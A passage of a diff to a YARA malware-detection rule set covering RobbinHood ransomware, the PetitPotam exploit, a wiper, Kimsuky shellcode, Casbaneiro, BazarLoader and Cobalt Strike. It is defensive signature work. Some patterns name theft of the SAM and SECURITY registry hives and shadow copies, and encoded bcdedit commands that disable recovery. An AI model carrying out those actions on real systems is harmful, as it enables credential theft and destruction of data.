e8 [2] ff ff eb 1a 8b 45 fc e8 [2] ff ff 8b c8 8d 85 e6 fd ff ff ba 05 01 00 00 e8 da f7 ff ff 66 83 bd e6 fd ff ff 00 0f 84 a7 01 00 00 33 c0 89 45 f8 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 84 9a 00 00 00 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 02 00 00 80 e8 2b 5e ff ff 85 c0 74 7c 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 01 00 00 80 e8 0d 5e ff ff 85 c0 74 5e 8d 45 f4 50 68 19 00 0f 00 6a 00 68 70 f6 40 00 68 02 00 00 80 e8 [2] ff ff 85 c0 74 40 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 74 22 8d 45 f4 50 68 19 00 0f 00 6a 00 68 [2] 40 00 68 01 00 00 80 e8 [2] ff ff 85 c0 0f 85 e6 00 00 00 33 c0 55 68 [2] 40 00 64 ff 30 64 89 20 8d 85 e6 fd ff ff ba 05 01 00 00 e8 c9 fc ff ff 8d 45 f0 50 6a 00 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 85 c0 75 33 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 8d 85 e6 fd ff ff 50 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff eb 4b 8d 45 f0 50 6a 00 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 85 c0 75 2f 8b 45 f0 e8 [2] ff ff 89 45 f8 8d 45 f0 50 8b 45 f8 50 6a 00 6a 00 68 [2] 40 00 8b 45 f4 50 e8 [2] ff ff 8b c3 8b 55 f8 e8 [2] ff ff 33 c0 5a 59 59 64 89 10 68 [2] 40 00 83 7d f8 00 74 08 8b 45 f8 e8 [2] ff ff 8b 45 f4 50 e8 [2] ff ff } - $seq3 = { d1 f8 79 03 83 d0 00 03 45 80 89 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 10 01 45 d0 8b 45 a4 8b 80 e4 02 00 00 8b 40 04 29 45 d0 8b 75 8c 2b 75 d4 83 ee 02 8b 45 a4 8b 80 e4 02 00 00 2b 70 08 8b 45 a4 8b 80 e4 02 00 00 2b 70 0c 89 75 8c 6a 00 56 8b 45 d0 50 8b 45 ec e8 [2] fb ff 50 57 8b 85 68 ff ff ff 50 e8 [2] fc ff 84 db 0f 84 0d 03 00 00 a1 [3] 00 8b 00 e8 [2] 09 00 50 8b 45 b4 50 6a 23 e8 [3] ff 89 45 d8 8b 45 d8 01 45 90 83 45 94 0f 83 45 90 05 8b 45 f0 8b 40 08 8b 50 74 } - $s1 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword wide - $s2 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 } - $s3 = { 45 00 72 00 72 00 6f 00 72 00 20 00 6f 00 70 00 65 00 6e 00 69 00 6e 00 67 00 20 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 3a 00 20 00 28 00 25 00 64 00 29 00 20 00 25 00 73 } - $s4 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 2e 00 20 00 25 00 73 } - $s5 = { 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 6f 00 70 00 65 00 6e 00 20 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 3a 00 20 00 25 00 73 } + $s1 = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy" fullword wide + $s2 = "Windows\\System32\\config\\SECURITY" fullword wide + $s3 = "Windows\\System32\\config\\SYSTEM" fullword wide + $s4 = "Windows\\System32\\config\\SAM" fullword wide + $s5 = "SECURITY-" fullword wide + $s6 = { 43 6f 75 6c 64 20 6e 6f 74 20 6f 70 65 6e 20 53 45 43 55 52 49 54 59 20 3a } + $s7 = { 7a d1 3f 99 5c 2d 21 79 f2 21 3d 00 58 ac 30 7a b5 d1 3f 7e 84 ff 62 3e cf 3d 3d } condition: - uint16( 0 ) == 0x5a4d and filesize > 500KB and 2 of ( $seq* ) and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 50KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Robbinhood_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_Exp_Petitpotam_July_2021_1 : FILE { meta: - description = "Detect RobbinHood ransomware" + description = "Detect PetitPotam exploit (local exploit version)" author = "Arkbird_SOLG" - id = "adaacb06-0738-5d2b-b97e-b9007341f743" - date = "2020-11-04" - modified = "2020-11-05" - reference = "https://twitter.com/joakimkennedy/status/1323957238680178689" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-05/RobbinHood/Ran_RobbinHood_Oct_2020_1.yar#L1-L20" + id = "dd23c77d-9929-5130-aad8-2bcc0a7dcbaa" + date = "2021-07-23" + modified = "2021-07-24" + reference = "https://github.com/topotam/PetitPotam" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/PetitPotam/Exp_PetitPotam_July_2021_1.yara#L1-L24" license_url = "N/A" - logic_hash = "72d0e9b1e2f6aee8f24125e6e6801329e2fad016f05a94ad65c04874a016d09d" + logic_hash = "a33a1dc2a3593063de2b65e01a770ff5c72ad360d88efdca588eacb8817fb91d" score = 75 - quality = 67 + quality = 69 tags = "FILE" - hash1 = "7c7ef3ab31ab91a7379bc2e3f32473dfa7adf662d0c640ef994103f6022a092b" - hash2 = "f927dd9044d7fa874dc6b98a0f5c9c647f3a9e5393bfe034b425cbf8db93e501" - hash2 = "3f56501f764d49723188bb119845fec4f2419a5080b74513fd0734e2a628e754" + hash1 = "10cbadc2c82178d3b7bdf96ab39b9e8580ee92c2038728b74d314e506c7a9144" + tlp = "white" + adversary = "-" strings: - $seq = { 20 21 3d 20 20 3c 3d 3d 20 61 73 20 20 61 74 20 20 66 70 3d 20 69 73 20 20 6c 72 3a 20 6f 66 20 20 6f 6e 20 20 70 63 3d 20 73 70 3a 20 73 70 3d 25 76 0d 0a 29 20 3d 20 29 20 6d 3d 2b 49 6e 66 2c 20 6e 20 2d 49 6e 66 2e 62 61 74 2e 63 6d 64 2e 63 6f 6d 2e 65 78 65 2f 50 49 44 31 30 36 30 33 31 32 35 3a 20 70 3d 41 43 44 54 41 43 53 54 41 45 44 54 41 45 53 54 41 4b 44 54 41 4b 53 54 41 57 53 54 41 68 6f 6d 41 74 6f 69 43 45 53 54 43 68 61 6d 44 61 73 68 45 45 53 54 47 4f 47 43 4a 75 6c 79 4a 75 6e 65 4c 69 73 75 4d 32 52 74 4d 32 52 7a 4d 32 5a 79 4d 32 63 79 4d 32 64 77 4d 33 42 79 4d 69 61 6f 4d 6f 64 69 4e 33 6f 3d 4e 5a 44 54 4e 5a 53 54 4e 65 77 61 4e 6a 41 79 51 56 4a 44 51 56 5a 51 53 41 53 54 53 74 61 74 54 55 31 54 54 68 61 69 54 6b 56 47 55 46 42 55 57 45 53 54 57 45 78 54 59 32 31 30 59 32 31 6b 59 32 35 6d 59 32 46 69 59 32 46 7a 59 32 4d 3d 59 32 52 34 59 32 52 6d 59 32 52 79 59 32 55 78 59 32 55 79 59 32 56 79 59 32 5a 6e 59 32 5a 77 59 32 5a 79 59 32 64 74 59 32 68 74 59 32 6c 69 59 32 78 7a 59 33 42 70 59 33 42 77 59 33 49 79 59 33 4a 30 59 33 4a 33 59 33 4d 3d 59 33 4e 32 59 33 4e 6f 59 33 4e 73 59 33 4e 79 59 33 4e 7a 59 33 52 6d 59 57 39 70 59 57 46 6a 59 57 49 30 59 57 4a 72 59 57 4e 30 59 57 4e 6f 59 57 4e 77 59 57 4e 79 59 57 52 69 59 57 52 70 59 57 52 77 59 57 52 7a 59 57 56 7a 59 57 6b 3d 59 57 6c 30 59 57 6c 6d 59 57 70 73 59 57 77 3d 59 58 42 71 59 58 42 72 59 58 4a 33 59 58 4e 30 59 58 4e 34 59 58 4e 6a 59 58 4e 6d 59 58 4e 74 59 58 4e 77 59 58 5a 70 59 58 64 6e 59 6d 31 77 59 6d 46 30 59 6d 46 35 59 6d 46 6a 59 6d 46 72 59 6d 46 79 59 6d 4d 32 59 6d 4d 33 59 6d 4e 76 59 6d 52 69 59 6d 5a 6d 59 6d 64 30 59 6d 6c 6e 59 6d 6c 72 59 6d 6c 75 59 6d 74 36 59 6d 74 6d 59 6d 74 77 59 6e 42 33 59 6e 4a 6b 59 6e 4e 68 59 6e 56 77 59 6e 6f 79 59 77 3d 3d 5a 32 38 3d 5a 32 46 74 5a 32 52 69 5a 32 68 76 5a 32 6c 6d 5a 33 42 6e 5a 33 4a 35 5a 33 6f 3d 5a 47 31 77 5a 47 35 6e 5a 47 39 30 5a 47 39 6a 5a 47 46 30 5a 47 46 6a 5a 47 46 7a 5a 47 49 3d 5a 47 49 77 5a 47 49 7a 5a 47 4a 34 5a 47 4a 68 5a 47 4a 6d 5a 47 4d 79 5a 47 4e 6f 5a 47 4e 79 5a 47 4e 7a 5a 47 52 6b 5a 47 52 7a 5a 47 56 74 5a 47 56 79 5a 47 56 7a 5a 47 5a 7a 5a 47 64 6a 5a 47 6c 30 5a 47 6c 6d 5a 47 6c 74 5a 47 6c 77 5a 47 6c 79 5a 47 70 32 5a 48 4a 33 5a 48 4a 6d 5a 48 4e 30 5a 48 4e 69 5a 48 4e 72 5a 48 52 6b 5a 48 64 6d 5a 48 64 6e 5a 48 64 7a 5a 48 68 30 5a 48 68 34 5a 48 68 69 5a 48 68 6d 5a 48 68 6e 5a 57 31 73 5a 57 52 69 5a 58 42 72 5a 58 42 7a 5a 58 4a 6d 5a 58 4e 74 5a 58 68 6d 5a 6d 31 69 5a 6d 39 7a 5a 6d 4a 33 5a 6d 52 69 5a 6d 59 3d 5a 6d 5a 6b 5a 6d 5a 6d 5a 6d 67 3d 5a 6d 68 6b 5a 6d 78 32 5a 6d 78 68 5a 6d 78 6d 5a 6e 42 34 5a 6e 42 72 5a 6e 4a 74 5a 6e 4e 6f 5a 6e 56 73 5a 6e 68 6e 0a 09 6d 3d 5d } - $com1 = "os/exec.(*Cmd).Run" fullword ascii - $com2 = "os/exec.(*Cmd).Start" fullword ascii - $com3 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 31 2e 76 62 73 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 32 2e 76 62 73 43 } - $str1 = { 63 6d 64 7a 63 7a 4e 68 63 73 } - $str2 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 69 62 32 39 30 63 33 52 68 64 48 56 7a 63 47 39 73 61 57 4e 35 49 47 6c 6e 62 6d 39 79 5a 57 46 73 62 47 5a 68 61 57 78 31 63 6d 56 7a } - $str3 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 79 5a 57 4e 76 64 6d 56 79 65 57 56 75 59 57 4a 73 5a 57 51 67 62 6d 38 3d } + $s1 = "\\pipe\\lsarpc" fullword wide + $s2 = { 5c 00 5c 00 25 00 73 00 5c 00 [4-12] 5c 00 [4-12] 00 2e 00 65 00 78 00 65 } + $s3 = { 5c 00 5c 00 25 00 73 00 00 00 00 00 6e 00 63 00 61 00 63 00 6e 00 5f 00 6e 00 70 } + $s4 = { 23 46 69 6c 65 20 45 72 72 6f 72 23 28 25 64 29 20 3a } + $s5 = { 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 20 61 74 20 66 69 6c 65 20 25 68 73 20 6c 69 6e 65 20 25 64 } + $s6 = { 50 e8 06 95 ff ff 83 c4 10 c7 85 00 ff ff ff 00 00 00 00 8b 85 00 ff ff ff 50 8d 8d 0c ff ff ff 51 8d 55 dc 52 8b 45 f4 50 e8 4e 7a ff ff 83 c4 10 89 45 e8 83 7d } + $s7 = "Attack success!!!\n" fullword wide + $s8 = { 8b 43 0c 56 83 e8 24 8d 73 20 50 56 8d 45 b4 50 8d 45 e8 50 e8 02 02 00 00 68 b8 52 4f 00 8d 45 b4 50 68 bc 52 4f 00 8d 45 e8 50 8b 43 0c 68 c0 52 4f 00 ff 75 10 83 e8 24 68 cc 52 4f 00 50 68 00 53 4f 00 56 68 0c 53 4f 00 68 20 53 4f 00 68 78 53 4f 00 8d 85 c0 fe ff ff 68 f4 00 00 00 50 e8 4e 91 ff ff 83 c4 4c 8d 85 c0 fe ff ff 50 6a 04 } + $s9 = { 25 73 25 73 25 70 25 73 25 7a 64 25 73 25 64 25 73 25 73 25 73 25 73 25 73 } + $s10 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 00 20 00 3a 00 20 00 25 00 6c 00 73 } condition: - uint16( 0 ) == 0x5a4d and filesize > 600KB and $seq and 2 of ( $com* ) and 2 of ( $str* ) + uint16( 0 ) == 0x5A4D and filesize > 50KB and 7 of ( $s* ) } -rule ARKBIRD_SOLG_WIP_Unk_Wiper_July_2021_1 : FILE +rule ARKBIRD_SOLG_Malware_Casbaneiro_MSI : FILE { meta: - description = "Detect unknown wiper that focuses olympic games in Japan" + description = "Detect MSIPackage used by Casbaneiro" author = "Arkbird_SOLG" - id = "a03d558e-399a-506e-8f37-d4907cc68d54" - date = "2021-07-22" - modified = "2021-07-22" - reference = "https://www.mbsd.jp/research/20210721/blog/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-22/WIP_Unk_Wiper_July_2021_1.yara#L1-L29" + id = "47a5ea47-f799-5467-a482-9816c0de3ecf" + date = "2020-06-05" + modified = "2020-06-05" + reference = "https://twitter.com/JAMESWT_MHT/status/1268811438707159040" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-05/Casbaneiro/Casbaneiro_stealer.yar#L3-L22" license_url = "N/A" - logic_hash = "32f66fee2547ef33121620b822f86bfdf66ff337909a56aa4f0e8ef83b6d7730" + logic_hash = "fa1c53268d51b4b34b4cf4cd84ddb43ffba1dfa8bbe73cd7506f5e31e970855b" score = 75 - quality = 40 + quality = 71 tags = "FILE" - hash1 = "295d0aa4bf13befebafd7f5717e7e4b3b41a2de5ef5123ee699d38745f39ca4f" - hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390" - tlp = "green" - adversary = "Olympic Destroyer ?" + hash1 = "8e77a2e1d30600db01a8481d232b601581faee02b7ec44c1ad9d74ec3544ba7d" strings: - $s1 = "\\\\.\\Global\\ProcmonDebugLogger" fullword ascii - $s2 = { 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 00 00 00 00 4f 6c 6c 79 44 62 67 } - $s3 = { 8d 44 24 10 50 ff 15 08 30 40 00 50 ff 15 2c 30 40 00 83 7c 24 10 00 0f 85 76 02 00 00 33 c9 0f 1f } - $s4 = { 50 68 00 12 40 00 ff 15 60 30 40 00 85 c0 0f 85 ef 02 00 00 50 68 80 00 00 00 6a 03 50 6a 07 68 00 00 00 80 68 0c 32 40 00 ff 15 18 30 40 00 83 } - $s5 = { 8b 3d d0 30 40 00 88 84 0c e8 00 00 00 8d 84 24 e8 00 00 00 50 ff d7 83 c4 04 b0 9a 33 c9 0f 1f 00 f6 d0 88 84 0c b4 00 00 00 41 8a 81 30 32 40 } - $s6 = { 8b ec 83 ec 14 83 65 f4 00 8d 45 f4 83 65 f8 00 50 ff 15 34 30 40 00 8b 45 f8 33 45 f4 89 45 fc ff 15 38 30 40 00 31 45 fc ff 15 3c 30 40 00 31 45 fc 8d 45 ec 50 ff 15 40 30 40 00 8b 45 f0 8d 4d fc 33 45 ec 33 45 fc 33 } - $p1 = { 5c 2e 5c 47 6c 6f 62 61 6c 5c 35 84 44 65 62 75 67 4c 6f 67 67 3f } - $p2 = "UPX" fullword ascii - $p3 = { 45 6e 75 6d 57 69 6e 64 6f 77 73 } - $p4 = { 73 65 74 5f 6e 65 77 5f 6d 6f 64 65 00 00 00 5f 63 6f 6e 66 69 67 74 68 72 65 61 64 6c 6f 63 61 6c 65 } - $p5 = { 4e 75 74 6f 72 75 6e 2f 43 4e 65 74 } - $p6 = { 44 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 } - $p7 = { 53 6d 61 72 74 53 6e 69 66 66 67 } - $p8 = { 26 30 30 63 66 67 } - $p9 = { 72 6f 63 65 94 48 61 63 6b } + $x1 = "C:\\Branch\\win\\Release\\custact\\x86\\vmdetect.pdb" fullword ascii + $s2 = "C:\\Branch\\win\\Release\\custact\\\\x86\\AICustAct.pdb" fullword ascii + $s3 = ";!@Install@!UTF-8!\\nTitle=\"Mozilla Firefox\"\\nRunProgram=\"setup-stub.exe\"\\n;!@InstallEnd@!7z" fullword ascii + $s4 = "__MOZCUSTOM__:campaign%3D%2528not%2Bset%2529%26content%3D%2528not%2Bset%2529%26medium%3Dreferral%26source%3Dwww.google.com" fullword ascii + $s5 = "https://www.mozilla.com0\\r" fullword wide + $s6 = "__CxxFrameHandler" fullword ascii + $s7 = "release+certificates@mozilla.com" fullword ascii + $s8 = "setup-stub.exe" fullword ascii + $s9 = "7zS.sfx.exe" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 200KB and ( 5 of ( $s* ) or 7 of ( $p* ) ) + uint16( 0 ) == 0xd0cf and filesize > 100KB and 7 of them } -rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Shellcode_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Bazarloader_Oct_2021_1 : FILE { meta: - description = "Detect Kimsuky shellcode used in fake PDF against South Korea" + description = "Detect BazarLoader implant" author = "Arkbird_SOLG" - id = "0b8d514b-82b6-5106-a87a-0890be1850d5" - date = "2021-08-03" - modified = "2021-08-04" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Shellcode_Aug_2021_1.yara#L1-L23" + id = "d6462e74-fe1d-599e-aac8-0d0942ca42ad" + date = "2021-10-30" + modified = "2021-10-30" + reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_BazarLoader_Oct_2021_1.yara#L1-L17" license_url = "N/A" - logic_hash = "432ae4d1e61aec51be03edf7767b1f05ea98d7cb7af90372a70f8ae86002f82a" - score = 50 + logic_hash = "afbe02ef9e69ac5105aaae28240d6863c9c4578c0e8fd7c86c38d975cf8acdc6" + score = 75 quality = 75 tags = "FILE" - hash1 = "7900ca98a6fbed74aa5a393758c43ad7abc9d8c73c3fbab7af93bae681065f4e" - hash2 = "359ab5e0b57da0307ca9472e5b225dcd0f9dc9bf2efd2f15b1ca45b78791b6bc" - hash3 = "5ea7a724d99fab3f05f50dccd57db59451334ac8640c532d426df319dad55c9e" - level = "Experimental" + hash1 = "0ba7554e7d120ce355c6995c6af95542499e4ec2f6012ed16b32a85175761a94" + hash2 = "2b29c80a4829d3dc816b99606aa5aeead3533d24137f79b5c9a8407957e97b10" tlp = "white" - adversary = "Kimsuky" + adversary = "-" strings: - $x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d } - $s1 = { 48 89 d4 57 e9 6f 22 47 16 ff ec 91 e6 7f a8 20 65 0c 43 db 53 7d e1 b6 } - $s2 = { 48 5e 64 35 50 98 b6 9b 63 9b 86 c1 1b f9 7f df f7 ea ea aa a6 31 78 f2 65 77 8e a6 bb } - $s3 = { ef a7 2c 5e 96 b8 84 06 66 b8 9e 54 cb 51 80 f1 66 35 65 69 0a 38 c5 35 7e 62 48 a2 18 c4 2b 76 0f ba 00 07 6a 2e c5 e3 71 66 ac 6d 12 f6 95 99 0b 37 a3 6c d1 5f 64 b3 fb 0e a0 8d f5 d9 f3 24 61 e9 18 c9 d9 6a a5 94 48 d3 5f e2 19 93 5a fe 33 99 e7 91 50 f5 8e 6e 5b 1d 07 1e 21 3c 2e 3c 7c bb 55 9f ad 2e 3c 7c 1f 1f } - $s4 = { b1 9a 3c f7 ce 9e 51 79 f2 c4 d9 13 3a a9 ee f0 95 3d fa be 86 ad cd ea d1 90 d4 4e 18 3a 51 58 b4 e9 97 b7 48 e5 62 32 36 5b 6c d8 ae a4 d2 1d b6 92 a7 af 67 15 c5 52 96 44 02 51 58 1c c7 1c a5 2f c3 28 d0 cf 56 10 f1 27 fd 1f 7e b7 9e 30 b5 9c e0 60 02 37 9e 44 4c 62 30 cb 36 2a a6 c4 f3 7c f1 5b 9e 25 73 d5 d4 f4 f0 fd 8a 1d 89 e1 9d 31 4b 59 ce 0c 33 b6 ab 4d 3b 5f a7 69 21 a0 42 11 13 f3 70 9f 27 33 b6 58 e7 38 49 2d 97 18 de bf c3 c2 97 35 4c 65 70 61 6a d7 1c 3e 7e f2 04 7e d1 39 bc a3 ad 5b 1e 51 65 0d 70 a5 4a 55 b3 89 d9 71 c7 1b 77 4f 15 41 0e 0a 09 28 ab 0d 14 43 af 55 f4 6c } - $s5 = { 91 42 d1 ed c0 be 73 73 3e 35 8f b4 8e 38 f9 97 ba f9 58 d6 8b 37 a8 82 29 e7 4d 35 ea e2 ba 48 e0 61 b5 a4 f6 d4 4b 90 6a 98 89 fb 81 39 8b 3b 18 de dc 9d b7 36 ec d2 f1 51 56 1a 10 d3 b5 6b b4 95 f9 1e 86 97 9c 71 d5 4b 9a fb 0c 89 ec 3c d4 1d ac 51 34 9f 63 4d 51 59 3c b1 11 7a cd 79 a0 7a d6 43 48 52 d6 9a 4f bb 70 9a f6 3d a5 8d 72 37 9c 5b 66 e8 37 b5 48 25 80 74 e3 c7 46 ae 45 47 8e b4 e5 e8 3a 52 cd d3 87 c1 67 27 d7 62 54 6e 52 86 71 c5 c1 9f 2c ee 31 fa 2e c9 6a 7b a0 60 50 9f 16 17 f9 45 cd d9 b5 00 78 e4 6c 6b b5 f2 8e e1 bd 00 7d 74 c5 a5 45 35 0c dc 79 9c 3d 82 6a 86 92 } + $s1 = { 48 8b 44 24 60 c6 80 38 01 00 00 01 48 8b 44 24 60 c6 80 39 01 00 00 02 48 8b 44 24 60 c7 40 5c 03 00 00 00 b8 60 00 00 00 48 6b c0 00 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 01 00 00 00 48 8b 44 24 20 c7 40 08 02 00 00 00 48 8b 44 24 20 c7 40 0c 02 00 00 00 48 8b 44 24 20 c7 40 10 00 00 00 00 48 8b 44 24 20 c7 40 14 00 00 00 00 48 8b 44 24 20 c7 40 18 00 00 00 00 b8 60 00 00 00 48 6b c0 01 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 22 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 00 00 00 b8 60 00 00 00 48 6b c0 02 48 8b 4c 24 60 48 03 41 68 48 89 44 24 20 48 8b 44 24 20 c7 00 23 00 00 00 48 8b 44 24 20 c7 40 08 01 00 00 00 48 8b 44 24 20 c7 40 0c 01 00 00 00 48 8b 44 24 20 c7 40 10 01 00 00 00 48 8b 44 24 20 c7 40 14 01 00 00 00 48 8b 44 24 20 c7 40 18 01 } + $s2 = { 48 8b 44 24 50 48 8b 00 c7 40 28 10 00 00 00 48 8b 44 24 50 48 8b 00 b9 04 00 00 00 48 6b c9 00 48 8b 54 24 50 8b 92 18 01 00 00 89 54 08 2c 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 4c 24 50 e8 80 f8 ff ff 48 8b 4c 24 50 e8 c6 fe ff ff 48 8b 44 24 50 83 78 78 00 76 16 48 8b 44 24 50 83 78 74 00 76 0b 48 8b 44 24 50 83 78 7c 00 7f 1e 48 8b 44 24 50 48 8b 00 c7 40 28 21 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 50 48 8b 4c 24 50 8b 40 74 0f af 41 7c 89 44 24 24 8b 44 24 24 89 44 24 34 8b 44 24 24 39 44 24 34 74 1e 48 8b 44 24 50 48 8b 00 c7 40 28 48 00 00 00 48 8b 44 24 50 48 8b 00 48 8b 4c 24 50 ff 10 48 8b 44 24 38 c7 40 18 00 00 00 00 48 8b 4c 24 50 e8 0c fc ff ff 48 8b 4c 24 38 88 41 1c 48 8b 44 24 38 48 c7 40 20 00 00 00 00 48 8b 44 24 38 48 c7 40 28 00 00 00 00 48 8b 44 24 50 0f b6 40 62 85 c0 74 0d 48 8b 44 } + $s3 = { 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d 82 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 38 48 8b 4c 24 58 8b 40 10 0f af 41 0c 48 8b 4c 24 58 48 63 49 04 48 8b 94 24 c0 00 00 00 48 8b 52 08 48 89 54 24 70 c6 44 24 20 00 4c 8b 44 24 58 45 8b 48 0c 44 8b c0 48 8b 44 24 38 48 8b 54 c8 70 48 8b 8c 24 c0 00 00 00 48 8b 44 24 70 ff 50 40 48 63 4c 24 30 48 89 84 cc 80 00 00 00 e9 5c ff ff ff 48 8b 44 24 38 8b 40 18 89 44 24 40 eb 0a 8b 44 24 40 ff c0 89 44 24 40 48 8b 44 24 38 8b 40 1c 39 44 24 40 0f 8d af 01 00 00 48 8b 44 24 38 8b 40 14 89 44 24 44 eb 0a 8b 44 24 44 ff c0 89 44 24 44 48 8b 84 24 c0 00 00 00 8b 80 88 01 00 00 39 44 24 44 0f 83 6e 01 00 00 c7 44 24 50 00 00 00 00 c7 44 24 30 00 00 00 00 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 c0 00 00 00 8b 80 64 01 00 00 39 44 24 30 0f 8d e2 00 00 00 48 63 44 24 30 48 8b 8c 24 c0 00 00 00 48 8b 84 c1 68 01 00 00 48 89 44 24 58 48 8b 44 24 58 8b 4c 24 44 0f af 48 38 8b c1 89 44 24 60 c7 44 24 48 00 00 00 00 eb 0a 8b 44 24 48 ff c0 89 44 24 48 48 8b } condition: - uint32( 0 ) == 0x46445025 and filesize > 25KB and $x1 and 4 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 200KB and all of ( $s* ) } -rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Cobaltstrike_Oct_2021_1 : FILE { meta: - description = "Detect encoded Kimsuky shellcode used in fake PDF against South Korea" + description = "Detect Cobalt Strike implant" author = "Arkbird_SOLG" - id = "8df7090a-6583-5d25-92bd-422e6b4191f7" - date = "2021-08-03" - modified = "2021-08-04" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1.yara#L1-L22" + id = "89d46993-cc1b-536b-b1ab-a0e967d0d397" + date = "2021-10-30" + modified = "2021-10-30" + reference = "https://twitter.com/malwrhunterteam/status/1454154412902002692" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-29/Hive/MAL_CobaltStrike_Oct_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "54f549b92c232f789aff039c748f1f987e68e9ee10dfab309f2ecba16d574cdb" - score = 50 + logic_hash = "4f1a2306b8279be67829d0d515063caae6a9d7a07078a43c2cbe62f675bcb450" + score = 75 quality = 75 tags = "FILE" - hash1 = "83292ba7a1ddda6acf32181c693aa85b9e433fcb908a94ebccbed0f407a1a021" - hash2 = "512ad244c58064dfe102f27c9ec8814f3e3720593fe1e3ed48a8cb385d52ff84" - level = "Experimental" + hash1 = "f520f97e3aa065efc4b7633735530a7ea341f3b332122921cb9257bf55147fb7" + hash2 = "7370c09d07b4695aa11e299a9c17007e9267e1578ce2753259c02a8cf27b18b6" + hash3 = "bfbc1c27a73c33e375eeea164dc876c23bca1fbc0051bb48d3ed3e50df6fa0e8" tlp = "white" - adversary = "Kimsuky" + adversary = "-" strings: - $x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d } - $s1 = { 78 